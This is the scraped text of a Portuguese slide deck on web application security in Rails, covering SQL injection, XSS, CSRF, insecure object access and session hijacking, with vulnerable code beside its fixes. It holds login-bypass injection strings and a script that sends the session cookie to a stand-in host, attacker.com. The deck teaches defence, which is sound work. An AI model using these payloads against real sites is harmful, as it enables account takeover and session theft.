SlideShare a Scribd company logo
1 of 32
Segurança em aplicações Web
Pródiga
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
' OR '1'='1 como nome e ' OR '2'>'1 como senha
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
Model.where(login: entered_user_name, password: entered_password).first
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")
<img src=javascript:alert(‘Hello')>
<table background="javascript:alert('Hello')">
<script>document.write(document.cookie);</script>
<script>document.write(document.cookie);</script>
<script>
document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');
</script>
<script>document.write(document.cookie);</script>
<script>
document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');
</script>
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
Como evitar
Como evitar
flag httpOnly ao criar o cookie
sanitizar inputs dos usuarios
Cross-Site Request Forgery
Como evitar
Como evitar
usar metodos get e post corretamente
usar token
<form action=“/remover-usuario“ method="post">
<input type="hidden" name="id" value="38">
<input type="date" name=“data-remocao”>
<input type="submit" value="Remover">
</form>
<form action=“/remover-usuario“ method="post">
<input type="hidden" name="id" value="38">
<input type="hidden" name="csrf_token" value="71ACGD73OVxuza6yeAInUG0aOYEqf
<input type="date" name=“data-remocao”>
<input type="submit" value="Remover">
</form>
def edit
@project = Project.find(params['id'])
end
def edit
@project = current_user.projects.find(params['id'])
end
def edit
@project = current_user.projects.find(params['id'])
end
http://www.fidelis.work/como-eu-usei-o-cartao-de-credito-do-ceo-do-trampos-co-para-pagar-minha-assinatura-premium/
Como capturar a sessão
através de wi-fi inseguro
através de terminais públicos
XSS
Como evitar
marcar cookies como httpOnly
usar ssl
Expirar a sessão
Onde aprender mais
https://www.owasp.org/index.php/Main_Page
http://guides.rubyonrails.org/security.html
Segurança em aplicações web

Segurança em aplicações web